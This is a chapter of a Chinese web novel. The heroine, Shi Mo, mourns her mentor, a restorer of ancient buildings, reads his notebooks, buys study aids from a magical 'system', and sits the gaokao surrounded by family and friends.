时墨站在人群后面,穿着一身洗得发白的黑色连衣裙,臂上别着一朵小白花。她没有撑伞,雨水落在她的头发上,凝成细密的水珠,顺着发梢滴落在衣领上,晕开一小片深色的水渍。 宋正先站在她旁边,手里撑着一把黑色的长柄伞,大半都倾向了时墨那边。雨打在伞面上,顺着伞骨的弧度滑下来,在他脚边积了一小摊水。他自己的半边肩膀淋在雨里,深灰色的中山装从肩膀一路湿到肘部,洇出一大片深色的水渍。 “师父,您自己打吧,我没事。”时墨伸手推了推伞柄。 宋正先低头看了她一眼。看到她的嘴唇抿成一条线,看着前方的告别厅门口。 “被雨浇了容易感冒,你马上就高考了,可不能在这时候掉链子。”宋正先又把伞往她那边压了压,粗糙的手掌轻轻拍了拍她的胳膊,掌心干燥温热,“别硬扛着,想哭就哭出来,怀瑾不会怪你的。” 时墨没再推拒。 人群开始移动,大家陆续进了告别厅。 告别厅里庄严肃穆,正中央孙教授的遗像被白色的菊花和浅绿色的洋桔梗簇拥着。 照片里的老人穿着一件洗得发白的中山装,戴着一副老式的眼镜,笑得温和慈祥。他的头微微侧向左边,像是正在跟镜头后面的人说着什么,嘴唇微张,话说到一半被定格了。 照片的背景是梅先生故居刚修复好的第一进院落,身后的飞檐在阳光下泛着新漆的光泽,斗拱层叠,榫卯严丝合缝,是他最得意的作品之一。 这张照片还是时墨帮他拍的。 那天阳光很好,孙教授难得穿得正式,站在脚手架下面,笑着说:“丫头,给我拍一张,以后说不定用得着。” 当时谁也没想到,这句玩笑话,竟一语成谶。 文物局的领导站在台上念悼词,声音平板,念着一长串孙教授的生平履历,像在念一份冰冷的档案。台下有人偷偷擦眼泪,时墨只是静静地看着遗像,把孙教授的每一个字都刻进脑子里。 轮到宋正先上台的时候,灵堂里安静了一瞬。 老人从座位上站起来,整理了一下中山装的衣领,缓步走向话筒。他走得很慢,脚步沉重得不像他平时那副风风火火的样子。 他在话筒前面站定,沉默了很长时间。 像有千言万语堵在嗓子眼里,却不知道该让哪一句先出来。他的嘴唇动了动,又停住了,喉结上下滚动了一下。灵堂里安静得能听见雨打在瓦片上的声音,一滴一滴,像秒针在走。 “我和怀瑾认识三十三年了。” 他终于开了口,声音不大,但每个字都清清楚楚地落进在场每一个人的耳朵里。 “三十三年,比我跟我们家太太认识的时间还长。”他的嘴角扯了一下,像是想笑,但那个弧度只维持了不到一秒钟就塌了下去,“他是古建筑这行里,手艺最好、心最静、话最少的人。你们别看他平时闷声不响的,他手上的功夫,是这个。” 他竖起大拇指。 “我跟他不一样。我好为人师,喜欢到处跑,喜欢出风头,哪儿热闹往哪儿凑。他就守着他那几间老房子,一守就是半辈子。我问他,怀瑾,你不闷吗?他说,不闷,老房子会说话,你听。” 宋正先的声音终于哽住了。 他摘下眼镜,用拇指和食指捏了捏鼻梁,又擦了擦镜片。镜片上蒙了一层雾气,擦掉之后又蒙上,怎么也擦不干净。他索性不擦了,把眼镜攥在手里,抬起眼睛看着台下的众人,眼眶是红的,但目光却异常坚定。 “他这一辈子,什么都没攒下。没攒下钱,没攒下名,没攒下权。他攒下的,是十七处修旧如旧的古建筑,是七本写满了蝇头小楷的笔记本,是——”他的声音忽然拔高,像一把刀从刀鞘里拔出来般锐利,“是一颗干干净净、从没弯过的心!” 台下有人开始擦眼泪。 一个年轻的女学生捂住了嘴,肩膀不停地抖。 站在角落里的一个工匠模样的中年男人,把帽子摘下来攥在手里,低着头,大颗大颗的眼泪砸在地面上。 时墨的眼眶也红了,但她没让眼泪掉下来。 她脊背挺得笔直地站着,两只手垂在身侧,右手攥着朵白菊,攥得指节泛白。 宋正先在台上说了几秒钟,重新戴上眼镜,把话筒轻轻放回支架上,他没有说“谢谢大家”,也没有说“永垂不朽”,只是转过身,对着孙教授的遗像深深鞠了一躬,额头几乎碰到了膝盖。 然后他直起身,走下台,脚步比上台的时候更慢了。 追悼会结束后,人群渐渐散去。 有人三三两两地聚在一起低声交谈,有人站在廊檐下抽烟,烟雾和雨雾搅在一起,分不清哪个是哪个。 有人撑着伞往停车场走,黑色的伞面在雨幕里一朵一朵地移动,像水面上漂着的浮萍。 时墨没有急着走。 她站在告别厅外面的廊檐下,看着雨幕发呆。 “时墨。” 一个苍老的声音从身后传来。 时墨转过身,看见几个白发苍苍的老人正朝她走过来。 为首的是聚贤斋的周景行周老,穿着一件黑色的中山装,他身后跟着三四个人,年纪都和他相仿,都是圈子里有头有脸的人物。 时墨认出了他们。 “周老,王老,李老,陈老。”时墨一一鞠躬打招呼,声音平稳,礼数周全。 周景行摆了摆手,示意她不用多礼。他走到时墨面前,上下打量了她一眼,然后抬起一只手,拍了拍她的肩膀。那只手很瘦,手背上青筋凸起,指节因为常年握笔而微微变形,但落在她肩上的力道却不轻。 “好孩子,节哀。”他的声音不高,语速很慢,每个字都像是经过了斟酌,“孙老弟的事,我们都很难过。他走得太突然了,我们这帮老家伙,谁都没反应过来。” 时墨垂着眼睛,没有说话。 “你在梅先生故居那个项目上的表现,怀瑾跟我们提过好多次。”周景行收回手,拄着拐杖,目光落在时墨脸上,带着一种审视,又带着一种说不清道不明的慈和,“他说你是他这些年见过的最有灵气的孩子。不是聪明,是灵气。他说聪明人可以培养,灵气是天生的,求不来。” 时墨的睫毛颤了颤。 “他还说——”周景行顿了一下,声音变得有些低沉,“如果他哪天干不动了,就把手里的东西都交给你。他说你比他那些研究生加在一起都强。” “他跟我说的最后一句话,是让我好好高考。”时墨忽然开口,声音沙哑,“他说,他会参加我的升学宴。” 空气安静了一瞬。 陈老拄着黄花梨手杖往前挪了一步,抬起浑浊的眼睛看着时墨。他的眼珠上蒙着一层灰白色的翳,看东西已经很费劲了,但他的目光却准确地落在了时墨脸上,像是能穿透那层白翳看到什么别的东西。 “丫头,你过来。”他朝时墨招了招手。 时墨走上前两步,微微低下头。陈老伸出干枯的手,握住了她的手腕,握得很紧,指节硌在她腕骨上,有点疼。 过了好一会儿,他松开手,点了点头。 “骨头是硬的。”他说,声音苍老得像是从很远的地方传过来,“怀瑾没看走眼。”然后他转过身,拄着手杖慢慢走了。 旁边的人赶紧扶住他,撑开伞替他遮雨。 他的背影在雨幕里越来越小,像一截被岁月侵蚀了太久的古木,随时可能倒下,却依然固执地立在那里。 周景行看着陈老的背影叹了口气,转回头对时墨说:“好好考试,别让他失望。古建这条路不好走,又苦又累又不挣钱,但总得有人走。以后还得靠你们年轻人。” “我知道。”时墨点了点头,她往后退了一步,对着几位老前辈深深鞠了一躬,“我一定不会让孙老师失望的。” 她的眼眶是红的,但眼底没有泪,那双眼睛里装着的东西,让周景行愣了一下。 他说不清那是什么。 像是火,又像是比火更沉的东西。 几位老人又说了几句安慰的话,先后陆续走了。 时墨看着他们的背影,那些佝偻的身形在雨中慢慢移动,像一队缓缓 远去的旧时光,又像那个时代最后的守望者。 她忽然想起孙教授笔记本第一页写的那句话——“古建筑是会说话的历史。我们修的不只是房子,更是祖先留给后人的信。” 这些老人,就是那些信的最后一批邮差。 他们走一个,就少一个。 时墨收回目光,正要转身离开,余光忽然瞥见站在门口的一个人影。 谢时昀穿着一身黑色的西装,站在告别厅门口的角落里,像是已经站了很久。他右手拿着一支白菊花,花茎被他的手指握着的地方微微弯折。 他的目光穿过雨幕,静静地看着她。 两个人隔着半个院子的距离对视了不到两秒。 然后谢时昀动了,走进告别厅,把白菊放在孙教授的遗像前,鞠了一躬,然后转身走出来。 他在时墨面前停下。 离得近了,时墨才看清他的样子。他比她上次见的时候清瘦了一些,颧骨的线条更分明了,显得眉骨更加突出。但他的眼神没变,依然是那种温温和和的、不急不躁的注视,像是无论发生什么都不会移开。 “节哀。”他的声音比平时低沉了些,目光落在她苍白的脸上,带着一丝不易察觉的心疼。 “谢谢。”时墨点了点头,礼貌而疏离。 谢时昀的目光在她脸上停留了几秒,眉头微微皱了一下。 他从来没见过这样的时墨。 不是冷,是淡。一种从骨头里渗出来的淡,像冬天结了冰的湖面,表面光滑平整,底下是深不见底的寒水。 “你……”谢时昀斟酌了一下措辞。他想问“你还好吗”,话到嘴边又觉得这三个字太轻了,“要是有什么需要帮忙的,随时找我。不管什么事。” “谢哥,谢谢你来送孙老师。”时墨抬起头看着他,目光清亮,“也谢谢你帮我拦了那些记者和书迷。” 谢时昀愣了一下。 他以为自己做得很隐蔽,没想到时墨全知道。 “应该的。”他说,犹豫了一下,又补了一句,“我知道你需要安静。” 时墨沉默地看着他。 这个人总是这样。 从认识的第一天起就是这样,不声不响地出现在需要出现的地方,把事情做了,然后退到一边,从来不邀功,从来不解释,从来不让人觉得欠他什么。他的关心像空气一样,无处不在却让人感觉不到重量。 “多谢。”时墨说,礼貌地点了一下头。 谢时昀张了张嘴,还想说什么。 他想说“你不要一个人扛着”,想说“难过是可以难过的”,想说“有什么话你可以跟我说”。 但这些话在他喉咙里转了一圈,最终还是没有说出口。 因为他看懂了时墨眼神里的坚韧,知道她此刻并不需要他的安慰。 他点了点头,侧身,让开了路。 时墨脊背挺得笔直,步伐平稳的从他身边走过。 谢时昀站在原地,看着她的背影在雨幕中渐渐模糊。 他忽然有一种强烈的直觉,孙教授的死,在时墨和所有人之间都筑起了一道看不见的墙。 他想起自己有一次看老师傅修复一件宋代瓷器。 那件瓷器碎成了十七片,老师傅用大漆和金粉一片一片地粘回去,粘完之后,裂痕还在,但器物比碎裂之前更坚固了。他问老师傅,这样修过的瓷器,跟原来比哪个更结实? 老师傅头也没抬,说了一句:“碎过的东西,要么彻底碎成渣,要么比原来更硬。没有中间状态。” 时墨就是那件被修好的瓷器。 裂痕虽在,但已经没有什么能轻易打碎她。 雨还在下,不紧不慢的,像是要把整个首都都泡进一场漫长的告别里。 * 时墨回到家的时候,李秀兰正在厨房里忙活。 锅里的姜汤已经熬了大半个小时,老姜切片,加了两勺红糖,小火咕嘟咕嘟地冒着泡,辛辣中带着甜的气息从厨房飘出来。李秀兰听见门响,探出头来。 “回来了?”她的目光先是在时墨身上快速扫了一遍,从头发梢看到脚后跟,“快把湿衣服换了,姜汤马上就好,喝了驱驱寒。” “嗯。”时墨换了鞋,把湿衣服换下来,穿上干爽的棉布睡衣。 李秀兰已经把姜汤盛好了,汤水上面还飘着两粒红枣。时墨接过来,双手捧着碗,小口小口地喝下去,姜的辛辣从舌尖一路烧到胃里,热气从内往外扩散,被雨水浸透的骨头缝里的凉意一点一点被逼出来。 李秀兰站在旁边看着她喝,什么都没问。 她不是不想问,今天是什么日子,她心里清楚。 她看把时墨喝完的空碗接过来,又给她盛了半碗。 “妈。”时墨忽然开口。 “嗯?” “我没事,你不用担心。” 李秀兰的手顿了一下,然后继续盛汤,声音比平时轻了几分:“妈知道。” 时墨喝完第二碗姜汤,走回自己房间,关上门。 书桌上整整齐齐地摆着孙教授的遗物——一把黄杨木尺,七本牛皮纸封面的笔记本。 那把黄杨木尺刚好一拃长,边角磨得圆润光滑,包浆温润,尺身被摩挲了几十年,包浆温润得像是裹了一层琥珀色的蜜蜡,灯光照上去会微微反出柔和的光。时墨把它拿起来,翻过来,看到了刻在背面的两行小字。 “有匪君子,如切如磋,如琢如磨。” 另一行是“孙怀瑾藏,1962年春”。 1962年,孙教授刚从建筑系毕业,被分配到一个偏远的县级文物所,第一个任务是去修一座明代的土地庙。那座庙破得只剩下三面墙和半个屋顶,当地人说拆了算了,他一个人在庙里住了两个月,把能修的每一块砖、每一片瓦都修好了。 这些事,是后来宋正先告诉她的。 时墨的手指轻轻抚过那几个字。 字是用刻刀一笔一笔刻上去的,凹下去的笔画里还残留着经年累月积下来的细微尘埃,摸上去微微发涩。 笔记本一共有七本,用牛皮纸包着封面,边角磨出了毛边,纸页因为反复翻阅而微微蓬松。每本的封面上都写着日期和地点——第一本是“1962-1968,山西”,第二本是“1969-1973,陕西”,第三本是“1974-1977,河北”……一直排到第七本,封面上写着“1982-1985,首都”。 三十三年,七个地方,七本笔记。 时墨翻开第一本的第一页。 纸张已经泛黄了,边缘比中间更黄一些,像被时间从外往里慢慢浸透。墨水是蓝黑色的,当年的蓝黑墨水刚写上去的时候是蓝色,氧化之后慢慢变成一种沉沉的、带着灰调的蓝黑色。字是蝇头小楷,每个字只有指甲盖大小,工工整整地排列着,行间距和字间距几乎完全一致,像是用尺子量过。 第一页只写了一句话—— “古建筑是会说话的历史。我们修的不只是房子,更是祖先留给后人的信。这封信不能在我们手里断了。” 落款是1962年3月17日,于山西五台县。 时墨坐在书桌前,一页一页地翻下去。 她看到他用铅笔手绘的建筑结构图,每一根梁、每一根柱、每一处榫卯的搭接方式都标注得清清楚楚。 有些图的旁边还用小字写了批注——“此处榫头腐朽严重,需替换,但新料含水率不可超过12%,否则来年必裂”,“瓦当纹样为明代晚期典型样式,应与南禅寺大殿瓦当比对”,“斗拱出挑尺寸与原制式不符,疑为清代重修时所改,建议恢复明代原貌”。 她看到他记录下的每一次发现和每一次困惑。 有一页的边角上画了一个小小的墨点,旁边写着:“今日发现正脊檩条上刻有‘大明成化三年重修’字样,与府志记载相差十一年。史书不可尽信,建筑不会说谎。” 还有一页,记录的是1976年唐市大地震后他去勘察一座古寺的损毁情况。 那一页的字迹比前后的都要潦草,有些地方墨水洇开了,像是被什么东西打湿过。 时墨翻开最后一本,最后一页的日期是4月18日,也就是孙教授去世的前最后的记录。 上面写着:“墨墨今日问我斗拱的榫卯结构,一点就通,真是个好苗子。等她考上首都大学,我就把梅先生的手札残稿给她。希望她能守住那些老房子,守住我们的根。” 字迹工整,墨色还很新。 时墨的鼻子一酸,眼泪终于掉了下来,砸在泛黄的纸页上,晕开了一个小小的墨点。 【宿主,你还好吗?】系统的声音小心翼翼的,带着一丝心疼。 【我没事。】时墨擦干眼泪,把笔记本小心翼翼地收好。 她压下心底的悲恸,眼神重新变得坚定:【系统,帮我查‘先生’的所有信息,能查多少查多少。】 【宿主。调取境外加密数据库,追踪跨国犯罪集团头目,需要消耗五十万能量币。目前您的能量币余额不足以支付。】 【五十万?】时墨蹙了下眉,眉心拧出一道浅浅的竖纹,【为什么这么贵?】 【‘先生’的势力主要在香江和东南亚,跨区域调查需要突破国际刑警的防火墙和对方的反侦察系统,牵扯的线路多达上百条。而且系统有规则限制,宿主等级不够,无法调用高级调查权限。】 【不过——】系统话锋一转,语气里带上了它惯有的那点小得意,【如果你有能力在香江本地接入信息网,或者有线下渠道获取信息,再配合系统追踪,调查成本会降低70%。系统的底层规则是:宿主自己先动,系统才能辅助。您什么都不做,全靠系统查,相当于让系统从零开始搭建整个调查链路,能量消耗自然高。但如果您能提供一个初始的信息节点——比如一个本地线人、一条已经确认的线索、甚至一个具体的地址,系统就能以这个节点为锚点向外扩展,成本会断崖式下降。】 时墨若有所思地点了点头。 她明白了,系统不是万能的搜索引擎,它是一个放大器。 她自己手里得先有东西,系统才能把那东西放大,就像杠杆,支点得她自己找,系统只负责提供力臂。 线下渠道。 她在心里把这三个字嚼了一遍。 她在香江没有熟人,没有资源,连那边的社会环境都不了解。 但这不代表以后也没有。 【知道了。】 系统以为自己听错了,按照宿主以前的脾气,听到“五十万能量币”这种数字,多少会有点情绪波动。生气也好,抱怨也好,总之不会这么平静。 她现在的反应,平静得让它有点不安。 【宿主,你不生气?】 【生气有什么用。】时墨打开系统商城,目光扫过那些学习类商品,【能量币不够就赚,权限不够就升。生气解决不了任何问题。】 她的手指在商城界面上滑动,停在了“过目不忘记忆药水”那一栏。 以前她总觉得,靠系统不算真本事。 那些学习道具,能用脑子解决的就尽量不用道具,能省则省。 她想证明给自己看,哪怕没有系统,她也能靠自己的努力做到。这种想法不能说错,但太慢了。 现在她想通了。 工具就是工具,关键看用工具的人。 木匠不会因为用了刨子就觉得自己的手艺不值钱,铁匠不会因为用了锤子就觉得自己胜之不武。 系统的学习道具就像一把锋利的刀,刀本身不会帮你砍柴,但有了刀,你砍柴的效率就是比别人赤手空拳高十倍。 人,不该对自己道德水平要求太高,只要不触犯底线法律就好。 不然,只会限制、束缚了自己。 而她现在,最需要的就是效率。效率就是时间,时间就是一切。 【过目不忘记忆药水,500能量币。长效专注光环,1000能量币。思维导图生成器,3000能量币。】系统报出了她之前买过的三件套,语气里带着点推销员的热切,【宿主,是否重新购买?这三件套搭配使用效果最佳,上次你用完之后,知识留存率达到了97.3%,远超普通考生的64%。】 【买。】时墨说,【长效专注光环买两个疗程的。高考前这些天,一天都不能浪费。】 系统记下了。 【再加一个——】时墨往下翻了翻,目光落在一个新商品上。那个商品的图标是一张试卷的形状,上面有一个准星瞄准的动画效果,看起来比别的商品多了一层动态特效。她点进去,看到了商品说明,【“真题预测模拟器”,兑换价格2000能量币。这个是什么?详细说明一下。】 【基于历年高考真题大数据和命题规律,结合当年考试大纲和命题组人员构成,生成高仿真模拟试题。】系统的语速快了起来,显然对这个商品很有信心,【预测命中率约75%,实际命中率受多种因素影响,包括但不限于命题组临时换人、考纲微调、以及——】 【够了。】时墨打断它的免责声明,几乎没有犹豫,【买。】 【已扣除——】 【不用报账了。】时墨再次打断它,【直接扣。高考之前,所有能提高效率的学习道具,我都要。记忆类的、专注类的、分析类的、预测类的,你帮我筛选一遍,性价比高的直接推给我。能量币的事,高考之后再说。】 系统沉默了一瞬。它快速扫描商城数据库,按照宿主的需求建立筛选模型。几秒钟后,一份清单浮现在时墨眼前。 【明白。已为您筛选出高考冲刺阶段性价比最高的七种学习道具,合计所需能量币约12000-15000之间,是否预览清单?】 【预览。】 清单展开。每一项后面都标注了价格、使用效果、建议使用频率和用户评价——系统甚至连其他宿主的使用反馈都调出来了,做得比后世的电商平台还详细。 时墨从头到尾看了一遍,目光在每一项上停留不超过三秒钟。 【全买。】她说。 【宿主。】系统的声音忽然变得有点犹豫,【你确定?这些加起来不是小数目,你的能量币余额——】 【够就直接扣,别废话。】 系统不说话了。直接执行了扣款指令。 从那天起,时墨彻底进入了闭关状态。 她每天作息精确到分钟。 长效专注光环让她的大脑始终保持在高速运转状态,过目不忘记忆药水让她把高中三年的课本倒背如流,思维导图生成器把每一科的知识体系梳理得清清楚楚。 她不再跟同学闲聊,不再看课外书,所有的时间都用来刷题、背书、整理错题。 所有的科目正确率从最初九十,稳步攀升到九十七以上。 孙晓梅坐在她前面,眼睁睁看着她的成绩恢复到年级第一,甚至比曾经分数还要高。 最后一次模拟考,时墨的总分比年级第二名高了整整四十三分,把整个年级组的老师都震住了。数学老师拿着她的卷子研究了半天,最后说了一句话:“这张卷子,给我答案我也考不了这么高。” 孙晓梅被震惊得已经不知道该说什么了。她有一天中午吃饭的时候盯着时墨看了半天,忽然冒出一句:“时墨,你说实话,你是不是偷偷吃了什么仙丹?” 时墨夹了一块红烧肉,嚼完了才回答她:“吃了。” “真的假的?!” “真的。叫‘多做題’。” 孙晓梅把餐盘里剩下的红烧肉全拨给了她,说:“那你多吃点,补补脑。” 秦野偶尔会在走廊里遇到她。 以前他会找各种机会跟她说话,问她数学题,问她看什么书,问她周末有什么安排,甚至问她食堂今天的菜咸不咸。 现在他不再打扰时墨,而是每天早上第一个到二班教室,把一瓶热牛奶放进时墨的桌洞。 牛奶是他在家里用热水温好的,装在保温杯里带到学校,倒进玻璃瓶,再放进桌洞。瓶身上用黑色马克笔写着日期,一笔一划写得工工整整。有时候他会多写一个字,比如“加油”,比如“晴天”,比如“安”。不多,就一个字。 时墨到教室之后,看到牛奶,拿起来,拧开盖子,喝了。全程没有任何多余的动作和表情,好像那是她每天早晨固定流程的一部分。 她知道是谁放的。 不需要问,不需要确认,会做这种事的人只有一个。 她接受了。什么都没说,但也没拒绝。 秦野觉得这样就够了。 高考前三天,学校放了假,让学生回家调整状态。 时墨最后一次打开系统商城。 【宿主,这段时间学习道具消费汇总:过目不忘记忆药水3次(1500)、长效专注光环6次(6000)、思维导图生成器(3000)、真题预测模拟器(2000)、杂项(800),合计13300能量币。剩余能量币63000。】 【知道了。】 【你不心疼?】系统稀奇地问。以前的时墨,花一百能量币都要精打细算,现在一万多能量币花出去,她连眼睛都不眨一下。 【能量币花了可以再赚。】时墨关掉商城界面,拿起笔,翻开最后一套模拟卷的第一页,【高考状元的奖励,比这些能量币值钱得多。这笔账,我算得过来。】 系统沉默了一瞬,忽然说:【宿主,你真的变了。以前你总认为靠系统不算真本事。】 时墨笔尖一顿,抬起头看着窗外。 阳光透过树叶的缝隙洒进来,落在书桌上。 【以前我觉得,凡事都要靠自己,不能走捷径。可孙教授用命告诉我,在绝对的实力差距面前,所谓的原则和底线,一文不值。】她的声音很冷静的在陈述事实,【工具没有对错,关键看用工具的人。只要不触犯法律,不违背良心,能让我更快变强的方法,我为什么不用?】 系统没有说话,它能感觉到,宿主的内核已经彻底蜕变了。 * 高考当天,晴空万里。 时家一大早就忙开了。李秀兰凌晨四点就醒了,醒了之后就没再睡着。她在床上翻了两下,索性爬起来,摸黑进了厨房,拉亮灯,开始和面。 时墨被香味叫醒的时候,天已经亮了。 她洗漱完走进客厅,发现全家人都已经在等着了。 时爱国穿了一件崭新的的确良衬衫,头发梳得一丝不苟,皮鞋擦得锃亮,比他自己当年进厂考试还紧张。时建军也跟师傅请了假,专门负责送妹妹去考场。 “妈,这……” 时墨走进厨房,看到灶台上那碗面的时候,脚步停了一下。 热气腾腾的鸡蛋面,汤底是骨头汤熬的,奶白奶白的,上面浮着细碎的葱花和几滴香油。两个荷包蛋卧在最上面,煎得边缘焦黄、中间溏心,蛋白的边缘被油煎出一圈金色的蕾丝边。 旁边放着一根油条,是她爸一大早买的,油条被弯成了一个弧度,和两个荷包蛋一起,摆成了一个“100”的形状。 “吃了吉利!”李秀兰把碗往她面前一推,围裙上还沾着面粉,额头上沁着一层细密的汗珠。她的眼睛亮亮的,里面装着一个母亲在孩子上考场前所有能装进去的东西——紧张、期待、心疼、骄傲,和一点点藏不住的担心。 时墨看着那碗面,看着围在厨房门口的爸爸和哥哥,看着那个歪歪扭扭的“100”,喉头动了动。 “妈,太多了,我吃不完。” “能吃多少吃多少。”李秀兰把她按到椅子上,“剩下的让你哥吃。你哥今天沾你的光。” “对,我沾光。”时建军在后面接了一句,“我高考那年咱妈可没给我摆‘100’,给我卧了俩鸡蛋就打发走了。” “你那年考多少分你心里没数?”李秀兰头也不回地怼了一句。 时建军嘿嘿笑了两声,不说话了。 时墨坐下来,拿起筷子。面条是手擀的,粗细不太均匀,有的地方宽有的地方窄,但每一根都劲道弹牙,吸饱了骨头汤的鲜味。她把面条挑起来,吹了吹,送进嘴里,一口一口地嚼。荷包蛋的溏心被筷子戳破,金黄色的蛋液缓缓流出来,裹在面条上。 她努力把面和油条吃完,连汤都喝得一滴不剩。 时爱国站在旁边,想说什么又没说。他的手在裤兜里攥了又松,松了又攥,嘴唇翕动了好几次。最后他只是走上前,拍了拍时墨的肩膀。那只手很重,带着常年做工留下的厚茧,拍在时墨肩上却轻得像是怕拍疼她。 “别紧张。”他说,“正常发挥就行。” “嗯。”时墨抬起头,看见她爸的眼眶有点红,点了点头。 李秀兰在一边给时墨检查书包,把里面的东西一样一样掏出来,又一样一样放回去。“准考证、身份证、钢笔、铅笔、橡皮、尺子——”她每念一样就用手摸一下,确认东西在包里,念到第三遍的时候被时建军拦住了。 “妈,都检查三遍了,再检查包都要被你摸破了。” “就你话多。”李秀兰瞪了他一眼,但还是把书包拉链拉上,递给时墨。 “就是,妈,你别紧张,我妹肯定没问题。”时建军拍着胸脯,“她次次年级第一,这次肯定也是第一。我们家要出一个状元了。” “还没考呢就状元状元的,别给孩子压力。”李秀兰拍了他一巴掌,脸上却带着笑。 一家人浩浩荡荡地出发了。 到了考点,校门口已经围了不少人。 家长比考生还多,黑压压地挤了一片。有的拎着水壶,有的拿着扇子,有的举着遮阳伞,有的双手合十在低声念叨,嘴里念念有词。 一个穿着碎花衬衫的母亲蹲在路边,拿着风油精往女儿的太阳穴上抹,抹了一遍又一遍。一个头发花白的爷爷站在铁栅栏外面,手里举着一个纸牌子,上面写着“孙子加油”四个毛笔字,墨汁洇出了纸边。 孙晓梅、林薇薇、秦野、马东几个人已经到了,在校门左侧的那棵大槐树下聚成一堆。看到时墨过来,孙晓梅第一个冲上来,书包在背后一颠一颠的。 “时墨!东西都带全了吗?”她跑到跟前,双手撑着膝盖喘了两口气,“准考证、身份证、文具——我妈今早给我检查了五遍,我都快被她念疯了。” “都带了,我妈检查好几遍。”时墨笑了笑,“你们呢?” “我们也是。”林薇薇凑过来,压低声音,“我妈昨晚激动得一宿没睡着,今天早上四点就把我叫起来了,让我再背一遍政治。” “我爸更绝。”马东苦着脸,“他昨晚给我炖了一锅猪脑汤,说是以形补形。我喝了三碗,喝完之后觉得自己的智商都被猪传染了。” 几个人笑成一团。 秦野站在旁边,手里拿着一瓶水,等他们笑完了,他走上前,把水递给时墨。 “加油。”他说。 “加油。”时墨接过水,冲他笑了笑。 铃声响起,第一遍预备铃,尖锐而悠长。 考生们开始往校门口移动。家长们围上去,七嘴八舌地叮嘱最后一句话——“别紧张”“仔细审题”“先做容易的”“记得检查”——那些话从无数张嘴里同时说出来,混在一起,变成一团嗡嗡的声音,谁也听不清谁在说什么。 时墨转过身,看了一眼站在人群里的家人。 她妈踮着脚朝她挥手,嘴里说着什么,隔着太远听不见。 她爸站在她妈后面,没有挥手,只是站得笔直,目光穿过人群牢牢地锁在她身上。 她哥把两只手拢在嘴边,喊了一声:“妹,考完了哥带你去吃烤鸭!” 她冲他们挥了下手,笑了笑。 然后转过身,大步流星地走了进去。 接下来的三天,时墨发挥得异常稳定。 第一天上午考语文。试卷发下来的那一刻,考场里响起一片翻纸的哗啦声,时墨没有急着翻,她把试卷从头到尾扫了一遍,用了不到一分钟,然后拿起笔。 作文题目是《给〈老山界〉作者的一封信》。 她几乎没有犹豫,提笔就写,从长征精神写到文化传承,从战火纷飞的年代写到和平年代的文物保护,把孙教授教她的那些话,一字一句地写进了作文里。写完最后一个字的时候,她仿佛看到孙教授站在窗外,笑着对她点头。 下午考数学。 最后一道大题是一道综合题,把函数、几何、数列三个知识点拧在了一起,题干占了半页纸,密密麻麻的符号和图形,乍一看像一堵墙。 考场里有人在倒吸凉气,有人把试卷翻来覆去地看,有人已经开始咬笔帽了。 时墨看了三秒钟,快速写出简洁的解题答案。 英语更是她的强项,完形填空和阅读理解全对,作文写得地道流畅,连监考老师都忍不住多看了她几眼。 政治、历史、地理,文科综合是她最不用担心的。过目不忘记忆药水的效果加上她自己的理解力,那些知识点就像刻在脑子里一样,随手就能调出来用。 高考最后一天,当考试考试结束的铃声响起。 考场里有人开始小声嘟囔,被监考老师瞪了一眼又闭上了嘴。有人长长地舒了一口气,瘫在椅背上,像一摊被晒化的沥青。有人眼圈红了,不知道是因为考砸了还是因为考完了。 时墨坐在座位上,长长地舒了一口气。 高考,结束了。 她的人生,即将翻开新的一页。 时墨走出考场的时候,阳光正好,刺得她眯了眯眼。 校门口黑压压地围了一大群人,比第一天还多。整个场面比菜市场还热闹,人声鼎沸,热气腾腾。 时墨是第一个走出来的。 她的身影刚出现在校门口铁栅栏的内侧,人群就炸开了。 “出来了出来了!第一个出来了!” “这谁家的孩子?这么快?” “我在报纸上见过她!是《古宅迷踪》的作者!那个十九岁的小姑娘!” “对对对,就是她!叫时墨!上次在王府井签售的那个!” “原来是她啊!她今年高考?” 时爱国第一个冲上去。 这个平时走路都慢吞吞的中年男人,这一刻像一条逆流而上的鱼,从人群里挤出来,衬衫袖子被人蹭歪了,头发也乱了。他冲到时墨面前,两只手抬起来,像是想抱她又觉得闺女大了不好意思,最后只是在她肩膀上重重地拍了两下。 “闺女!你可考完了!”他的声音比平时高了八度,带着一种如释重负的畅快,“我和你妈总算能松口气了!感觉怎么样?” “超常发挥。”时墨语气轻松道。 “累坏了吧?”李秀兰也挤过人群,摸着她的脸,心疼道,“走,妈回去给你做好吃的!咱们好好庆祝!你想吃啥?红烧肉?糖醋排骨?还是妈给你包饺子?” “不累,也不饿。”时墨被她妈拉着,又被她爸拍着肩膀,一时间被围在了中间,她哥时建军愣是没挤进来,在外面急得直跺脚。 “让让让让——”时建军从人缝里钻进来,手里举着一瓶冰镇汽水,“妹!喝,冰镇的汽水!” 时墨喝了一口,瞬间清爽。 宋正先也来了。 老人手里拿着一把折扇,扇面上是他自己写的四个字——“金榜题名”。他站在人群外面,笑眯眯地看着这一幕,不急不躁,等他觉得时墨被家里人围得差不多了,才不紧不慢地走上前,折扇在手里敲了两下,发出清脆的竹骨声响。 “墨墨,辛苦了。”他收了折扇,“考得怎么样?” “师傅你放心。”时墨抬起头看着他,自信道,“首都大学肯定跑不了。” “好好好。”宋正先连说三声“好”,一声比一声高,一声比一声响亮。 一旁的宋老夫人从老伴身后走出来,她把保温桶递给时墨,又伸手摸了摸她的发顶:“墨墨,这是我炖的乌鸡汤,放了党参和枸杞,补气血的。快趁热喝。” “谢谢师母。”时墨接过保温桶,桶壁温热,热度透过掌心传上来,一路暖到心口。 就在这时,一个温和的声音在她身后响起。 “时墨,恭喜你考完了。” 时墨回头。 谢时昀站在几步之外的地方,手里捧着一大束粉色的百合花,花瓣上还带着露珠。他今天穿了一件白色的亚麻衬衫,站在阳光下,干净又挺拔。 他看到时墨回头,微微笑了一下,走上前,把花递给她。 “祝贺你,顺利结束高考。” 时墨接过花束,低头看了一眼。百合花开得正好,三朵已经完全绽放,两朵还是花苞,白色的花瓣边缘微微卷曲,露出里面嫩黄色的花蕊。满天星细碎地散布在百合之间,像夜空里洒了一把星星。 “谢谢你的鲜花。”她抬起头,礼貌地道谢。 百合花的香气扑面而来,清冽中带着一丝若有若无的甜。那味道钻进鼻腔,把连日来的疲惫都冲淡了一些。 秦野他们也陆续从考场出来了。 孙晓梅一出校门就开始找人,目光在人群里快速扫了一圈,锁定时墨的位置之后,整个人就像一颗炮弹一样冲了过来。 她一把抱住时墨,差点把她手里的花撞飞出去,百合花的花瓣剧烈地颤了颤,几粒花粉簌簌地落在时墨的袖子上。 